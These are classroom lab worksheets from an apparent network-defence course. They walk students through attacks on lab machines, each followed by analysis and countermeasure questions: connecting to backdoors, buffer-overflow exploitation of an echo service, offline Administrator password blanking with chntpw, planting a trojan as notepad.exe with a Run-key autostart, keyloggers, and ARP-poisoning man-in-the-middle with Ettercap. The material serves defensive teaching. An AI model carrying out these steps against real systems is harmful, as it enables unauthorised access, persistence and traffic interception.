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Exploit and Malware Analysis 

Title: CNDC Analysis Toolkit 

Created: June 2009 

Updated: December 19, 2011 

Tasks: 

A. Become familiar with command line tools and what types of information they provide 

B. Methods of recording information gathered during an analysis 

C. Use the appropriate tools to analyze a backdoor connection 

A. Become familiar with command line tools and what types of information they provide 

1. Windows NT Process Utilities: 

autorunsc.exe [-a] [user] {display startup locations for all|specified user} 

listdlls.cmd [pid|process] [-d dll] {display DLL usage for process|pid or by DLL} 

pedump.exe [/A] [filename] {display header information for Win32|Win64 PE} 

pmdump.exe [pid] [filename] {dumps process memory of pid to specified file} 

procinfo.exe [/t] [/v] [pid] {display process list, tree, details for all|pid} 

pskill.exe [-t] [pid|process] {terminate specified process or entire process tree} 

pslist.exe [-t] {display list of processes or process tree} 

pssuspend.exe [/r] [pid|process] {suspend|resume specified process} 

taskkill.exe [/?] {terminate processes by pid|name|filter} 

tasklist.exe [/?] {display processes by pid|name|filter} 

tlist.exe [/?] {display process list|details|tree} 

window.exe [/listall] [/show title] {list or control the state of windows} 

2. TCP/UDP/ICMP/IP Networking Utilities: 

arp.exe [-a] {display ARP cache} 

getmac.exe [/v] {display MAC address for enabled adapters} 

ipconfig.exe [/all] {display IP configuration for enabled adapters} 

ipconfig.exe [/displaydns] {display DNS resolver cache} 

netstat.exe [-anob] {display TCP|UDP network connection information} 

netstat.exe [-s –p ICMP] {display ICMP statistics} 

tcpvcon.exe [-an] [PID|PROCESS] {display TCP|UDP network connection information} 
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3. Microsoft Networking Utilities: 

nbtstat.exe [-n][-c][-s] {display NetBIOS name table|cache|sessions table} 

net.exe session [path] [/delete] {display|map|delete NetBIOS  shares} 

net.exe use [path] [/delete] {display|map|delete NetBIOS connections} 

psloggedon.exe {display current local and remote login information} 

whoami.exe [/user] [/groups] {display user|group information about user} 

4. Windows Driver and NT Service Utilities: 

drivers.exe {display installed device drivers} 

driverquery.exe [/v] [/si] {display installed device driver details|signing info} 

psservice.exe [query|config] [name] {display information about NT services} 

net.exe [start|stop|pause] [service] {control service execution} 

sc.exe [delete] [service|driver] {uninstall NT service or device driver} 

5. File, Registry and Object Access: 

accesschk.exe [/?] {View effective permissions for a given object} 

icacls.exe [object] [/T] {Dump ACLs for files and directories} 

handle.exe [-a][-u] [object] {display process accessing a given object} 

handle.exe [-a][-u] [-p pid|process] {display objects accessed by given process} 

reg.exe [QUERY] [/?] {display information stored in the registry} 

6. Miscellaneous Utilities: 

clipboard.exe {display text data currently in the clipboard} 

doskey.exe [/history]  {display command history for the current cmd.exe} 

md5.exe {generate a MD5 hash for a file|input} 

systeminfo.exe {display O.S. configuration information} 

7. Noteworthy DLLs/Functions: 

Core Network DLLs: wsock32.dll  (ver. 1) listen() or connect() 

 ws2_32.dll     (ver. 2) listen() or connect() 

Spyware Hooks: user32.dll SetWindowsHookEx() 

 ntoskrnl.exe IoAttachDeviceToDeviceStack() 
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B. Methods of recording information gathered during an analysis 
 

8. Adjust the attributes of the command shell terminal for easier viewing: 

Right mouse click the window title and select “Properties”.   Choose the “Layout” tab and set the 

“Screen Buffer Size” Width and Height to 1000.  This retains command output for longer periods. 

9. Save command output to an external storage device: 

A. Redirect command output.  Creates new file or overwrites an existing file. 

Example: arp.exe –a > a:\capture.log 

B. Redirect command output.  Creates new file or appends to an existing file. 

Example: netstat.exe –an >> a:\capture.log 

 

10. Send command output to a remote system using a TCP connection: 

A. Configure a server to receive data and then save it to a local file. 

Example: netpipe.exe –l 7777 > C:\capture.log 

B. Configure the client to redirect collected data to a remote server. 

Example: arp.exe –a | netpipe.exe x.x.x.x 7777 

 

Note: x.x.x.x is the server’s IP address; any available TCP port may be used 

C. Use the appropriate tools to analyze a backdoor connection 

11. Log into the User account on your system.  Use the Malware shortcut on your desktop to navigate to 

the CNDC Analysis Toolkit folder.  Copy the "cndc.exe" backdoor to your Windows desktop.  Start it by 

double-clicking the executable. 

12. What happened when you executed the backdoor? 

 
 

 
13. Click the Unblock button.  What happens next? 

 
 

 
14. At the UAC prompt select the Administrator account, type in the password, then click "OK".  What 

implications does the Windows Firewall have on network enabled Malware like this backdoor? 

 
 

 
15. (Attacker) Use the center system to connect to your own backdoor.  From a command prompt type: 

telnet.exe 10.10.x.x 12345 

Note: 10.10.x.x is the Victim’s IP address 
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16. Use the appropriate tool(s) to analyze attributes of the backdoor connection on the Victim's system: 

Volatile Data (attribute): Utility (with switches): Results: 
Process Name and PID tlist.exe /t  
Spawned Processes tlist.exe /t  
Network DLLs listdlls.cmd cndc.exe  
Attacker's Level of Access handle.exe -a -p cndc.exe Account: 
Executable Location listdlls.cmd cndc.exe  
Listening Port (Victim) netstat.exe -ano Port:                             ( TCP / UDP ) 
Attacker’s IP Address netstat.exe -ano                  
Source Port (Attacker) netstat.exe -ano Port:                             ( TCP / UDP ) 
Attacker’s MAC address arp.exe -a  

 
17. Kill the backdoor process by executing the following command: 

taskkill.exe /f /im cndc.exe 

18. Do another quick analysis of your system (as above).  Was the backdoor connection successfully 

removed from your system?  Why/why not?   

 
 

 
19. How can you terminate the backdoor connection now?  What would have been a better method for 

killing the backdoor in the previous step?  Write an example using taskkill.exe in the space below. 

 
 
Proper way to initially kill the backdoor: 

 
20. Insure you delete the cndc.exe backdoor from your desktop.   Delete the exception for "cndc.exe" from 

your Windows Firewall Settings.  (Control Panel, Security, Allow a program through Windows Firewall) 

Review Questions: 

(1) How could you determine which process has a lock on the Security event log?  Using the correct location 

(see below) list the utility with the appropriate command line switches in the space provided below. 

%SystemRoot%\System32\Winevt\Logs\Security.evtx  (location for Windows Vista/7/2008) 
SystemRoot%\System32\config\SecEvent.Evt     (location for Windows XP/2003) 

 

 
 
 

(2) If a user were savvy enough to clear their browser history and cache in Internet Explorer, how might you 

still be able to determine if that user was visiting an improper Web site? 
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(3) How could you determine if a program has the potential to establish a TCP/UDP network connection? 

 
 
 

(4) What would be some concerns with storing the output from the commands described in the previous 

section, on the compromised system’s hard drive? 

 
 

(5) How would you obtain a list of all commands executed from your command prompt since it was 

opened? 
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Title: Privilege Escalation and Automatic Execution 

Created: May 2010 

Updated: December 19, 2011 

Tasks: 

A. Exploit a quirk (vulnerability?) with long file name interpretation to automatically execute a Trojan 

B. Analyze the backdoor connection on the Victim's system 

A. Exploit a quirk (vulnerability?) with long file name interpretation to automatically execute a Trojan 

1. Log into the User account on your system.  Use the Malware shortcut on your desktop to navigate to 

the Privilege Escalation  folder.  Copy the backdoor “program.exe” to C:\. 

2. What happened when you attempted the copy the file?   

 
 

 
3. Click the Continue button.  At the UAC prompt select the Administrator account, type in the password, 

then click "OK".  Finally reboot your system and log back into the User account. 

4. (Attacker) Use the center system to connect to your own backdoor.  From a command prompt type: 

telnet.exe 10.10.x.x 3390 

Note: 10.10.x.x is the Victim’s IP address 

B. Analyze the backdoor connection on the Victim's system 

5. Obtain a list of processes in a process tree view.  Locate all instances of program.exe.  How would you 

determine which instance is acting as the backdoor? 

Note: use tlist.exe or pslist.exe to help you answer this… 

 
 
 

 
6. What is unusual regarding the command line displayed and actual program executed for the Trojan?  

What should have been executed? 

Note: use listdlls.cmd to help you answer this… 
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7. Go into the Window's Registry using regedit.exe.  Navigate to the section where ActiveIdentity Shared 

Store Service is configured (see path below).  What enabled this exploit to work? 

Reg Path: Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ac.sharedstore 

 
 
 

 
8. Use the appropriate tool(s) to analyze attributes of the backdoor connection on the Victim's system: 

Volatile Data (attribute): Utility (with switches): Results: 
Process Name and PID   
Spawned Processes   
Network DLLs   
Attacker's Level of Access  Account: 
Executable Location   
Listening Port (Victim)  Port:                             ( TCP / UDP ) 
Attacker’s IP Address                   
Source Port (Attacker)  Port:                             ( TCP / UDP ) 
Attacker’s MAC address   

 
9. Why was the connection allowed through the Windows Firewall without any prompting? 

Hint: examine your current firewall configuration… 

 
 
 

 
10. Kill the backdoor process tree using the following command: 

taskkill.exe /f /t /fi "IMAGENAME eq program.exe" 

11. Insure you delete the program.exe backdoor from your C:\ drive.  What would happen if you forgot to 

delete the executable? 

 
 
 

 
12.  Delete the exception for "Pr0Gr4m" from your Windows Firewall Settings using the Netsh command: 

netsh.exe firewall delete allowedprogram program=c:\program.exe 

Review Questions: 

(1) List some methods that would allow a program to automatically startup. 
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Title: Buffer Overflow (Network Analysis) 

Created: Feb 2006 

Updated: December 19, 2011 

Tasks: 

A. Install a vulnerable NT service on your system 

B. Configure Wireshark to monitor the exploit 

C. Exploit the vulnerable NT service 

D. Analyze characteristics of the buffer overflow attack 

A. Install a Vulnerable NT service on Victim’s system 

1. Use the Malware shortcut on your desktop to navigate to the Echo Service folder.  Install the CNDC Echo 

Service by executing the Auto-Install.vbs script. 

Note: echo_svc.exe listens for connections on TCP port 7 

2. (Attacker) Use the center system to attack your own server.  Use the Malware shortcut on your desktop 

to navigate to the Buffer Overflow (Network Analysis) folder.  Copy all files to your C:\Temp directory.  

3.  (Attacker) Open a command prompt and insure the Victim’s Echo service is running correctly. 

cd \Temp 

echo_client.exe 10.10.x.x “this is an echo test” 

Note: utilize the Victim’s IP address above 

B. Configure Wireshark to monitor the exploit 

4. Start Wireshark and configure it as follows. Under the Capture menu select Options…  

A. In the top Capture pane, select the Interface drop down and select your Intel adapter. 

B. In the top Capture pane, configure a Capture Filter (see below) using the Victim’s IP address. 

 

  

Note: utilize the Victim’s IP address above 

C. In the bottom right Name Resolution pane, uncheck MAC and network name resolution. 

D. Finally click the Start button to start the capture. 

C. Exploit the vulnerable NT service 

5. (Attacker) From your command prompt generate an exploit for the Victim's Echo service. 

exploit.exe 

 
 
 

Figure 1: Generating overflow with payload data 

- Stage1 size = ?? bytes 
... 
 

- Data written to "exploit.txt" (???? bytes) 

host 10.10.x.x and tcp port 7 
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6. (Attacker) Next use the Echo Client utility to overflow the Victim's Echo service. 

echo_client.exe 10.10.x.x exploit.txt 

Note: utilize the Victim’s IP address 

7.  (Attacker) If the Echo client utility hangs press [Ctrl-C] to break out.  Now Telnet into the backdoor 

delivered and started by the overflow payload. 

telnet.exe 10.10.x.x 4444 

Note: utilize the Victim’s IP address 

D. Analyze characteristics of the buffer overflow attack 

8. Examine the payload data from the Wireshark capture: 

A. Click the Stop button in Wireshark to discontinue capturing packets. 

B. Select the Analyze menu, then Follow TCP Stream. 

C. Display the data stream in Hex dump format by checking the Hex Dump radial. 

9. What is the size of the overflow used to exploit the server: 

Conversation Size:                                                                                                                                         (Bytes) 

 
10. Using a web browser navigate to http://en.wikipedia.org/wiki/NOP.  Use the link to research the NOP 

machine instruction.  Describe the general purpose and use of the NOP (hex value 0x90).  

 

 

 

 
 

11. Scroll down the hex dump of the payload data to offset 00000400.  Record the DWORD address in the 

space below.  This what allows the Echo Service to be hijacked and will be discussed later: 

00000400  ?? ?? ?? ?? 90 90 90 90  90 90 90 90 90 90 90 90 

Address: 

 
12. Scroll up and down though the (Wireshark Capature Data) hex dump.  The instructions for the backdoor 

(a.k.a. payload) are near the top . 

13. If you were creating a rule for a Network IDS, what aspects of the Wireshark capture might you use to 

design a signature to detect this buffer overflow attack. 

 

 

 

 
 
  

http://en.wikipedia.org/wiki/NOP
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14. Use the appropriate tool(s) to analyze attributes of the backdoor connection on the Vicitm's system: 

Volatile Data (attribute): Utility (with switches): Results: 
Process Name and PID   
Spawned Processes   
Network DLLs   
Attacker's Level of Access  Account: 
Executable Location   
Listening Port (Victim)  Port:                             ( TCP / UDP ) 
Attacker’s IP Address                   
Source Port (Attacker)  Port:                             ( TCP / UDP ) 
Attacker’s MAC address   

 
15. What are some indicators from you analysis that tell you the compromised Echo service is behaving as a 

backdoor?  Hint: Review the process tree listing and port usage ... 

 

 
 

16. Why was the backdoor connection allowed through the Windows Firewall? 

 

 
 

17. Would this type of backdoor be temporary or permanent?  If the Victim’s computer were rebooted, 

would the backdoor still be running inside in the vulnerable service? (Explain) 

 

 
 

18. (Attacker) Close the backdoor connection by typing exit in the Telnet window. 

19. Look for any Events in the Victim's Event Viewer regarding the CND Echo Service.  Describe below 

anything  you notice.  What advantage/disadvantage would this pose for the Attacker in this scenario? 

 

 
 

20. Leave the CNDC Echo Service installed.  You will continue your analysis in the next lab .... 

Review Questions: 

(1) Explain, in your own words, what a buffer overflow is.  What would be some possible countermeasures 

or defenses in this scenario? 
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Title: Buffer Overflow (System Analysis) – Lab 

Created: Jan 2005 

Updated: December 19, 2011 

Tasks: 

A. Examine a simple buffer overflow 

B. Use a system debugger to analyze a buffer overflow 

C. Review countermeasures for buffer overflows 

A. Windows Application Error Messages 

This section will take a look at Application Error messages and the mechanism which Microsoft uses to 

report these occurrences. 

1. (Attacker) Use the center system to again attack your own server.  Use the Malware shortcut on your 

desktop to navigate to the Buffer Overflow (Debug Analysis) folder.  Copy all files to your C:\Temp 

directory.  

2.  (Attacker) Open a command prompt and send a string of characters which will cause a Denial of 

Service (DoS) in the vulnerable Echo Service. 

cd \Temp 

echo_client.exe 10.10.x.x overflow.txt 

Note: utilize the Victim’s IP address above 

3. You should notice a blinking Microsoft Windows notification on the Taskbar at the bottom of the 

Victim's desktop prompting your attention.  Click it to display the Window.  

 
 
 
 
 

 

Figure1: Taskbar Notification and Application Error Message 

4. Click the "View problem details" arrow in order to view the Problem Signature.  Navigate to 

http://www.asciitable.com, determine what the hex 0x41 refers to and record it below: 

Problem signature: 

  Problem Event Name:  APPCRASH 

  Application Name:       echo_svc.exe 

  ... 

  Fault Module Name:    StackHash_336b 

  ... 

  Exception Code:           c0000005 

  Exception Offset:          41414141 

  OS Version:                  6.0.6002.2.2.0.256.4 

ERROR:  STATUS_ACCESS_VIOLATION 

ASCII Characters:     

Hashes stack contents, used for general error identification 
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5. The Exception Offset refers to the address that Echo Service attempted to execute an instruction at.  

The Access Violation error was generated by the operating system when it attempted to access that 

particular part of memory.  Close the Error Notification Window. 

Note: Notification error messages are queued on Server versions of Windows until the next time an 

administrator logs onto the system.  This ensures they don't go unnoticed... 

6. Open the Event Viewer by clicking the Start button, and entering “eventvwr.msc” in the run dialog. 

7. Under Windows Logs, open the Application event log and view the "Application Error" event.  There 

should be a reference to a fault offset or fault address.  This is the Exception Offset referenced above.    

Event ID: Task Category: 
 

B. Use a debugging utility to analyze a buffer overflow 

In this section you will be using Olly Debugger to analyze a variation of the exploit shown in the previous 

lab.  A program “basic.exe” will be used to generate the overflow containing a simple payload. 

8. Use the Malware shortcut on your desktop to navigate to the OllyDbg folder.  Right click ollydbg.exe 

and then Run as administrator. 

9. Click the File menu, Attach..., and highlight the process name echo_svc.  Next click the Attach button.  

 

 

 

 

 

 

Figure 2: Attach OllyDbg to the Echo Service 

10. Now you are going to locate the area the of the program where the stack overflow occurs.  Click the 

View menu, and then Memory map. 

11. Scroll down and select the .text Section of the vulnerable DLL.  Right mouse click the the highlighed 

.text selection, and then click View in CPU Disassembler.  This will allow you to follow the program 

execution as the stack overflow occurs. 

 

 

 

 

 

Figure 3: View and disassemble the the vulnerable DLL 
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12. Next you will set a break point, which will stop execution just before the overflow occurs.  Locate the 

RETN instruction (Opcode C3) shown below, highlight it, and set the break point by pressing F2.  The 

address should now be highlighted in red. 

 

 

 

 

 

 

 

 

 

 

 

 

 

Figure 4: Setting break point before stack overflow occurs 

13. (Attacker) From your command prompt generate an exploit for the Victim's Echo service. 

basic.exe 

 
 
 

Figure 5: Generating overflow with payload data 

14. (Attacker) Next use the Echo Client utility to overflow the Victim's Echo service. 

echo_client.exe 10.10.x.x basic.txt 

Note: utilize the Victim’s IP address 

15. Press F9 in OllyDbg to execute the vulnerable program up to the break point.  The lower right hand 

corner of the window should show a the program in a Paused status.  The highlighed RETN instruction 

will pull the next four Bytes from the stack and use that as the return address (where it will go next). 

16. Record the following value (obtained from OllyDbg) in the space provided below: 

Extended Instruction Pointer EIP = 
Extended Stack Pointer ESP = 
Value on stack pulled by RETN instruction  RETN Address =  

 

17. What are the security benefits of having the program's code (at EIP) and the stack data (at ESP) isolated 

in seperate parts of memory?  Hint: view the memory map from Figure 3 ...   

 
 
 

- Stage1 size = ?? bytes 
... 
 

- Data written to "basic.txt" (??? bytes) 

CPU Registers: EIP & ESP 

Highlight address 070A10C1 and press F2 to set a break point 

Stack Data 
Instructions 

Opcodes & Operands 
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18. Press F7 to execute the RETN instruction that you are paused at.  You are redirected to another part of 

the Vulnerable DLL that contains an instruction which allows execution to be redirected onto the stack. 

 

 

 

Figure 6: Pause before CALL ESP instruction 

19. Where will the above command start executing from?  note: see the current ESP value 

ESP =   
 

20. Press F7 one more time to execute the CALL ESP instruction that you are currently paused at. 

21. Take a look at the current EIP and ESP addresses.  Record them below and identify what this means. 

(instructions) EIP =  (data) ESP = 
 
 

 
22. If you scroll down the code section past the series of NOPs you notice the beginning of the payload for 

this buffer overflow.  Press F9 to finish executing the overflow and describe the payload below: 

 
 

 
23. Use the Malware shortcut on your desktop to navigate to the Echo Service folder.  Uninstall the CNDC 

Echo Service by executing the Cleanup.vbs script. 

C. Review countermeasures against buffer overflows 

Beginning with Windows XP sp2 and Windows Server 2003 sp1, Microsoft includes support for defending 

against buffer overflows.  This protection mechanism is called Data Execution Prevention (DEP).  To provide 

full protection a newer (64 bit) processor from Intel or AMD is needed.  Intel uses the eXecutable disable 

(XD) bit while AMD uses the No eXecute (NX) bit (a.k.a. enhanced virus protection).  This hardware support 

is enabled/disabled through the BIOS, see example below …  

 
 
 
 
 
 
 
 
 
 

Figure 7: XD support enabled in a Dell BIOS 

Address   Hex dump        Command 
070B0154    FF              DB FF 
070B0155    FF              DB FF 
070B0156    FFD4            CALL ESP 
070B0158    CF              IRETD 
070B0159    CA 6259         RETF 5962 
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24. Examine your current Data Execution Prevention configuration by clicking the Start button, and entering 

“control.exe sysdm.cpl” in the run dialog. 

A. Click on the Advanced tab. 

B. In the Performance pane click the Settings… button. 

C. Select the Data Execution Prevention tab. 

 
 
 
 
 
 
 

Figure 8: Windows System Properties for DEP 

25. According to your configuration, which programs are currently being protected by DEP? 

 
 

 
26. Does your computer’s processor support hardware-based DEP? 

Hardware DEP Support  ( YES / NO ) 
 

Review Questions: 

(1) Click on the “How does it work?” link.  Describe below how DEP works in windows?  Use the FAQ link to 

identify what type of protection is provided without the hardware support.  List your findings below: 

 

 

 

 

 
 

(2) What are some other defenses Microsoft has added to Windows in an attempt to defend against stack 

and heap based buffer overflows? 
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Title: Bypassing O.S. Security (Physical Access) – Lab 

Created: Jan 2005 

Updated: December 19, 2011 

Tasks: 

A. Change the local Administrator’s password 

B. Install a Trojan on the compromised system 

A. Change the Administrator’s password 

In this section you will use Linux utilities to change the password for the local Administrator’s account.  To 

access (full read-write) NTFS partitions “ntfs-3g” will be used.  Another utility “chntpw” will be used to blank 

out the password.  You may change the password back to the original after the lab .... 

1. Boot into your Linux “CNDC Live” environment using either a bootable CD-ROM or by PXE network boot. 

A. For PXE boot reboot your computer, and press the F12 Boot Options during the BIOS check. 

B. At the Boot Device Menu select Onboard Network Controller. 

boot: linux 

2. Open a Bash Terminal by click the           icon. 

3. Mount the NTFS partition from your hard drive by executing the following commands. 

sudo bash 

mkdir /mnt/ntfs 

ntfs-3g /dev/sda1 /mnt/ntfs –o force 

4. Use the chntpw utility to change a password stored in the SAM registry hive.  Take caution with typing 

as Linux is case sensitive.  The password change will be scripted…  

chntpw –i /mnt/ntfs/Windows/System32/config/SAM 

<>========<> chntpw Main Interactive Menu <>========<> 

A. Select the option [1] to “Edit user data and passwords”. 

===== chntpw Edit User Info & Passwords ==== 

B. Now you should receive a list of accounts with the associated RIDs. 

C. How would you be able to determine the (true built in) administrator and guest accounts even if 

they were renamed to something else? 

Adminisrator Acct Current Name: RID: 
Guest Acct Current Name: RID: 

 
D. Change the password for your login.  Type: Administrator and then press Enter. 
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- - - - User Edit Menu: 

E. Now select “1 – Clear (blank) user password” remove the password. 

F. Next you offered the opportunity to change other account passwords.  We’re finished for now so 

type in the “!” key then Enter to quit. 

G. <>========<> chntpw Main Interactive Menu <>========<> 

H. Choose the “q” option to quit and save the changes. 

I. At the next prompt type “y” and Enter to write the changes made to the SAM database. 

5. Would any of the activities from this section be audited in the Windows Event Log? Why? 

 
 

 
6. By resetting an account’s password would an Attacker be able to access EFS encrypted files? Why? 

 
 
 

 

B. Install a Trojan on the compromised system 

Before booting back into your Windows load we’ll take this opportunity to install a Trojan on the system. 

7. Use your FTP client to download the Trojan: 

ftp 10.10.200.3 

 Name (10.10.200.3:root): anonymous 

 Password:  

 ftp> bin 

 ftp> get trojan.exe 

 ftp> quit 

8. Copy the Trojan to two different locations (using different methods) on your NTFS partition.  Later you 

will examine the differences between the two copy methods. 

cpnt trojan.exe /mnt/ntfs/Windows/System32/notepad.exe 

cp trojan.exe /mnt/ntfs/trojan.exe 

9. Edit the SOFTWARE registry hive (using chntpw this time as a registry editor) and configure it to 

automatically start the Trojan when a user logs in. 

chntpw -e /mnt/ntfs/Windows/System32/config/SOFTWARE 

Note: during the use of this utility you may use “?” to obtain help 
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> cd \Microsoft\Windows\CurrentVersion\Run 

\Microsoft\Windows\CurrentVersion\Run> nv 1 Trojan 

Note: this creates a new value of type REG_SZ 

\Microsoft\Windows\CurrentVersion\Run> ed Trojan 

Note: this will allow you to edit the value just created 

Now enter new strings, one by one. 
Enter nothing to keep old. 
[ 0]: [NEW] 

 
-> C:\trojan.exe 

\Microsoft\Windows\CurrentVersion\Run> q 

10. Next you are advised that the Software registry hive has changed.  Type “y” and Enter to write the 

changes to the hive file. 

11. Unmount the NTFS partition (using the command below) and then reboot your system into Windows. 

After logging in ensure that your Trojan is running.  

umount /mnt/ntfs 

reboot 

Note: remember that your password is changed… 

12. Examine the differences between “C:\trojan.exe” and each copy of “notepad.exe” in your Windows and 

System32 directory.  What happens when you execute Notepad using the Start menu or the Run dialog?  

Describe your findings below: 

cp C:\trojan.exe Icon: Size: MD5: 

 Windows dir Icon: Size: MD5: 

cpnt System32 dir Icon: Size: MD5: 

- Start menu or Run dialog execution results: 

Review Questions: 

(1) Attempt to delete “C:\Windows\System32\calc.exe” describe what happens.  Why wasn’t Notepad 

protected from being modified, or like your attempt to delete Calculator? 

 

 

 

 

(2) List some methods that you could use to automatically execute the Trojan on your system? 
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Title: Spyware Analysis (Keyloggers) – Demonstration 

Created: May 2010 

Updated: December 19, 2011 

Tasks: 

A. Analyze first key logger 

B. Analyze second key logger 

C. Analyze third key logger 

D. Analyze fourth key logger 

A. Analyze first key logger 

1. Copy keylog1.exe to desktop and execute. 

Key access & limitations: 
 
 

 

B. Analyze second key logger 

2. Copy keylog2.exe to desktop and execute. 

High level hooking: 
 
File lock and association: 
 
Where & how to find: 
 

 

C. Analyze third key logger 

3. Copy keylog3.exe to desktop and execute. 

Additional capabilities or characteristics: 
 
 

 

D. Analyze fourth key logger 

4. Execute Auto-Install.vbs from the keylog4 directory,  then reboot your computer. 

Low level hooking: 
 
Key access & limitations: 
 
Where & how to find: 
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Title: ARP Spoofing (ARP Cache Poisoning) – Lab 

Created: Jan 2005 

Updated: December 19, 2011 

Tasks: 

A. Establish a baseline for your VLAN/subnet 

B. Use Wireshark to analyze ARP cache poisoning 

C. Analyze the Remote Browser feature in Ettercap 

D. Analyze the filtering capabilities of Ettercap 

A. Establish a baseline for you VLAN/subnet 

1. (Victims) Open a normal command prompt and ping the other Victim’s IP addresses.  Record the 

contents from your ARP cache in the space provided below: 

ping.exe 10.10.x.x                               {Note: do this for each Victim…} 

arp.exe –a 

Victim’s IP Addresses: Victim’s MAC Addresses: Type: 
   
   
   
   
   
   

 
2. (Attacker) Boot into your Linux “CNDC Live” environment by CD-ROM or by PXE network boot. 

A. For PXE boot reboot your computer, and press the F12 Boot Options during the BIOS check. 

a. At the Boot Device Menu select Onboard Network Controller. 

boot: linux 

3. (Attacker) Open a Bash Terminal by click the           icon. 

4. (Attacker) Obtain your IP and MAC addresses, and then record the information in the space below. 

sudo bash 

ifconfig -a 

IP Address:  MAC Address: 
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B. Use Wireshark to Analyze ARP cache poisoning 

5. Start Wireshark and configure it as follows. Under the Capture menu select Options…  

A. In the top Capture pane, select the Interface drop down and select your Intel adapter. 

B. In the top Capture pane, configure a Capture Filter (see below) using the Victim’s IP address. 

 

  

C. In the bottom right Name Resolution pane, uncheck MAC and network name resolution. 

D. Finally click the Start button to start the capture. 

6. (Attacker) Execute the ARP cache poisoning utility.  

ARP0c2 -i eth0 -v 
 

7. (Victims) Clear and then repopulate your ARP cache.  Record the new entries below: 

arp.exe –d 

ping.exe 10.10.x.x 

arp.exe –a 

Victim’s IP Addresses: Victim’s MAC Addresses: Type: 
   
   
   
   
   
   

 
8. (Attacker) You should now see the ARP poisoning and routing activity done by ARP0c2 (see below). 

 
 
 
 
 
 
 
 
 

Figure 9: ARP0c2 execution example 

9. (Attacker) Press CTRL-C to stop ARP0c2 and restore the Victim’s ARP caches back to normal. 

10. Stop Wireshark and examine the results of your packet capture. 

arp 

zero 

Local host: 
       192.168.0.112 (00:0C:29:C7:9B:D4) Broadcast: 192.168.0.255 
Routing table: 
             Network             Netmask             Gateway 
ARP table: 
       192.168.0.112   00:0C:29:C7:9B:D4 
Refresh table: 
ARP response sent to 192.168.0.1 claiming to be 192.168.0.2 
ARP entry added: 192.168.0.1 00:50:56:C0:00:08 
ARP response sent to 192.168.0.1 claiming to be 192.168.0.3 
ARP response sent to 192.168.0.1 claiming to be 192.168.0.4 
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11. What was unusual about the ARP traffic that you captured?  What might you configure your network 

intrusion detection system (NIDS) to look for? 

 
 
 
 

 
12. (Attacker) Execute the ARP cache poisoning utility with the following switches.  

ARP0c2 -i eth0 -f -v 
 

13. Configure Wireshark as you did before and view the effects of ARP0c2.  What is happening in this 

instance?  What do you notice regarding the IP and MAC addresses?  Why might an Attacker do this? 

 
 

 
14. (Attacker) Press CTRL-C to stop ARP0c2. 

C. Analyze the Remote Browser feature in Ettercap 

15. (Victim) Ping a few systems around you to fill you ARP cache. Insure that you ping the Attacker’s IP 

address and the default gateway also.  From a normal command prompt, examine your ARP cache and 

record some of the entries below: 

Attacker’s IP: Attacker’s MAC: 
Gateway’s IP: Gateway’s MAC: 

 
16. (Attacker) Use FTP to obtain a copy of etter-hijack.tgz and then extract the contents to your system.  

Note: You should be in your /root home directory 

ftp 10.10.200.3 

 Name (10.10.200.3:root): anonymous 

 Password:  

 ftp> anonymous 

 ftp> bin 

 ftp> get etter-hijack.tgz 

 ftp> quit 

 
tar –zxf etter-hijack.tgz 

17. (Attacker) Make the following modifications to the existing lines of your ettercap configuration file.  

Look for lines in the [privs] and [strings] sections (see next page…) 

mousepad /etc/etter.conf 

zero 
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Note: the remote_browser copies the Victim’s URL request into the Attacker’s browser. 
 

18. (Attacker) Configure Ettercap to conduct a man-in-the-middle attack between the Victim and default 

gateway.  Ettercap will collect URLs from the Victim’s Web browsing and then attempt to follow the links 

using a local web browser on the Attacker’s system.  

ettercap -T -Q -M arp:remote -i eth0 /10.10.x.x/ /10.10.x.100/ -P remote_browser 

Note: Use the Victim’s IP address and default gateway. 

19. (Attacker) Next open a Firefox web browser. Ettercap will use this to try and follow the Victim’s links. 

sudo firefox 

20.  (Attacker) from another command prompt start URL Snarf (part of the Dsniff tools package) to view the 

Victim’s URL requests in greater detail: 

urlsnarf –n 

21. (Victim) Open your Web browser and navigate to a few different sites.  The Attacker should see roughly 

the same Web sites appear in their local Web browser. 

Note: Sticking with simple Web sites (e.g. Google) makes it easier for Ettercap to follow the links. 

22. (Victim) Examine your ARP cache once again for any changes: 

Attacker’s IP: Attacker’s MAC: 
Gateway’s IP: Gateway’s MAC: 

 
23. (Victim) Does Ettercap appear to influence any other connections to/from the Victim: 

YES NO 
 

24. (Attacker) Press Shift-Q to exit Ettercap and normalize traffic between the Victim and default gateway. 

D. Analyze the filtering capabilities of Ettercap 

25. (Attacker) An Ettercap filter has been created for you that will hijack an FTP session.  The filter will 

watch for the string of characters “anonymous” and change the string to “Hijacked!!!” before passing it 

along to the Victim. 

26. (Attacker) View the filter using the following command: 

 cat ftp.filter 

27. (Attacker) Compile the Ettercap filter using the following command: 

[privs] 
 

 ec_uid = 0 
 ec_gid = 0 
... 
 

[strings] 
 

remote_browser = “sudo firefox –remote openurl(http://%host%url)” 
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etterfilter ftp.filter 

28. (Attacker) Configure Ettercap to conduct a man-in-the-middle attack between the Victim’s system and 

the servers in the classroom.  The filter compiled in the previous steps will be read in along with the IP and 

MAC addresses from the hosts.cndc file: 

ettercap -T -Q -M arp:remote -i eth0 /10.10.x.x/ /10.10.x.100/ -F filter.ef 

Note: Use the Victim’s IP address and default gateway. 

29. (Victim) Establish an anonymous FTP connection to 10.10.200.3: 

ftp 10.10.200.3 

 Name (10.10.200.3:root): anonymous 

 Password:  

 
30. What happened when you attempted to logon as a anonymous user? 

 
 
 

 
31. (Attacker) Press Shift-Q to exit Ettercap and normalize traffic between the Victim and default gateway. 

 
32. What would be some reasons for an Attacker to use an ARP cache poisoning utility? 

 
 
 

 
33. List some countermeasures or defenses against this type of ARP spoofing: 

 
 
 
 

 
34. Would ARP cache poisoning be effective from one VLAN to another?  How about across a default 

gateway?  Explain. 

Across VLANs: YES  /  NO 
Across Default Gateway:  YES  /  NO 
Why? 
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Title: Data Hiding Techniques – Demonstration 

Created: May 2010 

Updated: December 19, 2011 

Tasks: 

A. Examine uses of alternate data streams 

B. Methods of locating alternate data streams 

C. Methods of removing alternate data streams 

A. Examine uses of alternate data streams 

1. Example will be provided by instructor … 

Notes: 
 
 
 
 
 

 

B. Methods of locating alternate data streams 

2. Example will be provided by instructor … 

Notes: 
 
 
 
 
 

 

C. Methods of removing alternate data streams 

3. Example will be provided by instructor … 

Notes: 
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Title: Exploiting the Windows Event Log – Lab (Legacy .evt Log Files) 

Created: Jan 2005 

Updated: December 19, 2011 

Tasks: 

